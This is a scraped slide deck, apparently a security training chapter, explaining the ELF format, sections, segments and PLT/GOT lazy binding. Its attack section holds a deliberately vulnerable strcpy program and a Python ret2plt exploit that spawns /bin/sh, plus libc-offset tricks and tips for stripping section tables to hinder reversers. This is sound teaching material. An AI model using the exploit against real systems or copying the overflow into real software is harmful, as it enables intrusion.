More Related Content
Similar to 06 - ELF format, knowing your friend (20)
More from Alexandre Moneger (10)
06 - ELF format, knowing your friend
- 2. ELF format overview
ELF is a specification (part of the ABI) to which:
1. The compiler adheres to when building binaries
2. The kernel understands
It’s just a container for executable code
Used by most Unix operating systems
Tells the OS loader how to loukad the binary into memory
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
- 4. Overview
1. At compile time, tells the linker how to connect pieces together:
Function x is in lib y
Function z is in oject-file o
2. Before runtime, tells the loader where to put pieces in memory:
Loadable segment starts at address a.
Segment has RWE permissions
3. At runtime, provides information to the dynamic linker to resolve
addresses:
Allows to find out address of function x when it’s called in the programs life =>
lazy binding
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
- 5. We will look mostly at compile and runtime behaviors
Explains partially how OS protections are set
Runtime function resolving might be something interesting from an
exploit view
Just explains how the OS works
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
- 6. Digging in
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
- 7. Elf overview
An ELF file has:
A header
A program header
A section header
Sections
More stuff which matters less (string table, debug symbols, …)
Sections are used by the linker (compile time)
Segments are used by the loader (runtime)
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
- 8. Linker vs Loader
Linking Executing
Elf Header
Program Header (not used)
Section 1
Section 2
…
Section n-1
Section n
Section header table
Elf Header
Program Header
Segment 1
…
Section k
Section header table (not used)
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
- 9. Elf header
ELF header contains:
A magic number
OS related stuff (32, 64 bits, ABI, …)
Type of ELF (executable, library, …)
Elf Header
An entry point for the program (where does the program start from?)
Pointer to, size and numbers of entries of:
Program header
Section header table
Index in the section table which contains the string table
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
- 10. Elf header
Sample output:
cisco@kali:~/src/seccon/ch6$ readelf -h /bin/false
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048e44
Start of program headers: 52 (bytes into file)
Start of section headers: 20908 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 28
Section header string table index: 27
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
- 11. Section
A section is an arbitrary zone of memory containing stuff, with assigned
flags and permissions
Interesting sections:
.text => contains the code of the executable
.rodata => contains read only data (constants, …)
.data => contains data
.got/.plt => jump table for the dynamic linker
Not used by the loader
Section 1
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
- 12. Section table
A section header contains this information on the section:
A pointer to the section (both offset and address)
The size
The name
A bunch of flags
A type
Section table is at the end of the file
Reading it allows to find all sections in the file
Section header table
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
- 13. Section Example
cisco@kali:~/src/seccon/ch6$ objdump -h /bin/false | egrep -A 1 "Name|.text|.data|.rodata|.bss|.plt|.gpt"
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048154 08048154 00000154 2**0
--
10 .rel.plt 00000138 08048974 08048974 00000974 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
--
12 .plt 00000280 08048ae0 08048ae0 00000ae0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 0000261c 08048d60 08048d60 00000d60 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
--
15 .rodata 000009a0 0804b3a0 0804b3a0 000033a0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
--
23 .got.plt 000000a8 0804dff4 0804dff4 00004ff4 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .data 00000020 0804e09c 0804e09c 0000509c 2**2
CONTENTS, ALLOC, LOAD, DATA
25 .bss 00000180 0804e0c0 0804e0c0 000050bc 2**5
ALLOC
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
- 14. Segments
A segment is an aggregation of loadable sections:
A segment defines:
Permissions applied in memory
Start address
Size
Contains one or more sections
Segment 1
Sections with identical permissions are mapped to one segment
Segments are page aligned
Only the loader cares about segments
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
- 15. Segment header
Same thing as section headers, but for segments
Table metadata for segments
Holds:
A pointer to the section (both offset and address)
The size
The name
A bunch of flags
A type
Program Header
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
- 16. Segment example
cisco@kali:~/src/seccon/ch6$ readelf -l /bin/false
Elf file type is EXEC (Executable file)
Entry point 0x8048e44
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x04658 0x04658 R E 0x1000
LOAD 0x004ef0 0x0804def0 0x0804def0 0x001cc 0x00350 RW 0x1000
DYNAMIC 0x004efc 0x0804defc 0x0804defc 0x000f0 0x000f0 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x003d40 0x0804bd40 0x0804bd40 0x001c4 0x001c4 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x004ef0 0x0804def0 0x0804def0 0x00110 0x00110 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini
.rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
- 17. What goes where?
Constant data => .rodata
Initialized data => .data
Code => .text
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
- 18. What goes where?
cisco@kali:~/src/seccon/ch6$ pygmentize -g ../ch4/aslr.c
#define _GNU_SOURCE /* for RTLD_NEXT */
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *rodata = "ABCD"; // .rodata
char data[4+1] = "ABCD"; // .data
int main(int argc, char **argv) {
printf("Stack base address: %pn", argv);
char *heap = malloc(sizeof(int));
printf("Heap base address: %pn", heap);
void (*memcpy_addr)(int) = dlsym(RTLD_NEXT, "memcpy");
printf("Memcpy libc address: %pn", memcpy_addr);
unsigned int text;
__asm__("call dummy;"
"dummy: pop %%eax;"
"mov %%eax, %0;":"=r"(text));
printf("Code section address: %pn", text);
printf("Data section address: %pn", data);
printf("RO data section address: %pn", rodata);
free(heap);
}
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
- 19. Proof
Is everything where it should be?
cisco@kali:~/src/seccon/ch6$ objdump -S -j .rodata ../ch4/aslr | grep ABCD
804866c: 01 00 02 00 41 42 43 44 00 53 74 61 63 6b 20 62 ....ABCD.Stack b
cisco@kali:~/src/seccon/ch6$ objdump -S -j .data ../ch4/aslr | grep ABCD
80498d0: 41 42 43 44 00 00 00 00 ABCD....
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
- 20. Stripping section table
1. Find where section table is
2. Remove it
3. Run the file
4. Piss off reversers
cisco@kali:~/src/seccon/ch6$ ./echo abcd
abcd
cisco@kali:~/src/seccon/ch6$ readelf -h echo | grep "section headers"
Start of section headers: 25016 (bytes into file)
Size of section headers: 40 (bytes)
Number of section headers: 28
cisco@kali:~/src/seccon/ch6$ truncate -s 25016 echo
cisco@kali:~/src/seccon/ch6$ ./echo abcd
abcd
cisco@kali:~/src/seccon/ch6$ ls -l echo
-rwxr-xr-x 1 dahtah dahtah 25016 Apr 22 17:19 echo
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
- 21. Dynamic linking
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
- 22. Overview
Dynamic linking allows to resolve library functions at runtime
Useful feature to have with dynamic libraries
Relies on 2 tables:
Procedure Linkage Table (PLT)
Global Offset Table (GOT)
Requires the dynamic linker:
ld-linux.so
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
- 23. How does it work?
The application code calls a stub function in the PLT, not the function
itself
Ie: your code calls printf@plt, not directly the libc printf
This translates to the application code doing a near relative call to the
plt stub:
cisco@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel /bin/echo | grep '@plt' | head -n 1
8048e19: e8 72 fe ff ff call 8048c90 <getenv@plt>
cisco@kali:~/src/seccon/ch6$ python -c 'import exutil as x; print x.cmp2(0xfffffe72 + 0x5)'
-393
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/echo | grep 'getenv@plt>:'
08048c90 <getenv@plt>:
cisco@kali:~/src/seccon/ch6$ python -c "print 0x08048c90 - 0x08048e19"
-393
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23
- 24. PLT stub
Our code jumps at a fixed offset into the PLT
There’s some magic code there, let’s trace it:
gdb$ x/3i 0x80482f0
0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654
0x80482f6 <puts@plt+6>: push 0x0
0x80482fb <puts@plt+11>: jmp 0x80482e0
gdb$ x/w 0x8049654
0x8049654 <puts@got.plt>: 0x080482f6
gdb$ x/10i 0x80482e0
0x80482e0: push DWORD PTR ds:0x804964c
0x80482e6: jmp DWORD PTR ds:0x8049650
0x80482ec: add BYTE PTR [eax],al
0x80482ee: add BYTE PTR [eax],al
0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654
0x80482f6 <puts@plt+6>: push 0x0
0x80482fb <puts@plt+11>: jmp 0x80482e0
gdb$ x/x 0x804964c
0x804964c <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff908
gdb$ x/x 0x8049650
0x8049650 <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff59b0
gdb$ info files
0xb7fe2820 - 0xb7ff905f is .text in /lib/ld-linux.so.2
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
- 25. What’s happening
PLT entry jumps to the GOT, then jumps back to itself (next instruction)
It pushes a value on the stack
It jumps back to PLT[0]
PLT[0] jumps into the dynamic linker
Dynamic linker resolves the libc address
Linker updates the GOT entry with the resolved address, using the
offset pushed in the PLT
Linker jumps to libc address
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
- 26. Further calls
First call to a func Next calls
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
- 27. Summary
In short:
The PLT entry is used to call the function
Once resolved, the GOT contains the real address of the function
The dynamic linker is in charge of resolving the address at runtime
The dynamic linker updates the GOT entry after the first call
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
- 28. Attack time!
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
- 29. Facts
.text section is at known address
.plt is at fixed offset from .text => known address
.got => known address
“GOT contains the real address of the function”
So we know the addresses of functions exported by the binary
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
- 30. objdump
Objdump can give us all the relocation info
PLT:
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/false
GOT:
cisco@kali:~/src/seccon/ch6$ objdump -R /bin/false | grep JUMP
0804e000 R_386_JUMP_SLOT strcmp
0804e004 R_386_JUMP_SLOT fflush
0804e008 R_386_JUMP_SLOT _exit
0804e00c R_386_JUMP_SLOT free
These are reliable addresses
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
- 31. Using PLT to our advantage
When you overwrite SEIP, you can overwrite with an interesting PLT
address
Remember the pop;pop;ret gadget from ret2libc?
You can use ppr constructs to chain PLT calls
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31
- 32. Vulnerable program (ASLR + DEP)
The usual, but with a piece of dead code
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int does_nothing() {
system("/bin/sh");
}
int vuln(const char *stuff) {
char buf[0x64] = {0};
strcpy(buf, stuff);
return 1;
}
int main(int argc, char **argv) {
vuln(argv[1]);
return 0;
}
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 32
- 33. I’m not dead
Find PLT entry and “/bin/sh” address
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel ch6 | grep system
08048330 <system@plt>:
cisco@kali:~/src/seccon/ch6$ strings -a -t d ch6 | grep "/sh"
1360 /bin/sh
cisco@kali:~/src/seccon/ch6$ readelf -l ch6 | grep -i LOAD
LOAD 0x000000 0x08048000 0x08048000 0x0062c 0x0062c R E 0x1000
LOAD 0x00062c 0x0804962c 0x0804962c 0x00124 0x00128 RW 0x1000
cisco@kali:~/src/seccon/ch6$ python -c 'print hex(0x08048000 + 1360)'
0x8048550
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 33
- 34. Exploit
Similar to ret2libc, except ASLR and DEP are on
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import struct as s
target = "ch6"
overflow_len = 112
sys_plt_addr = 0x08048330
sh_addr = 0x8048550
target_path = os.path.abspath(target)
sys_plt = s.pack("<I", sys_plt_addr)
sh = s.pack("<I", sh_addr)
ex = "%s%s%s%s" % ('A'*overflow_len, sys_plt, "x43"*4, sh)
os.execve(target_path, (target_path, ex), os.environ)
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 34
- 35. Further topics
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 35
- 36. Libc offsets
My function is not imported by the binary
Looking for constants again
Offsets in libc between functions are constant
1. Pick a function in PLT
2. Compute offset with the one you want
3. Find a way to call it (overwrite GOT the call PLT, call reg, …)
More on this later…
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 36
- 37. Demonstration
I want to call execve
My binary imports strcpy => 0xb7ed8b70
Compute offset between strcpy and execve
gdb$ p/x &strcpy
$1 = 0xb7ed8b70
gdb$ p/x &execve
$2 = 0xb7f00680
gdb$ p/x &execve - &strcpy
$3 = 0x27b10
Find a way to get strcpy GOT address and call strcpy + offset
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 37
- 38. Game time
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 38
- 39. Practice
Get familiar with PLT/GOT. Pick
a binary, follow the flow
Change the GOT address of a
function, before it is called. What
happens?
Strip a binary and remove the
section table. Try to debug it
Exploit ch6 with ASLR and DEP
enabled
Try using strcpy to copy
something to a known location
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 39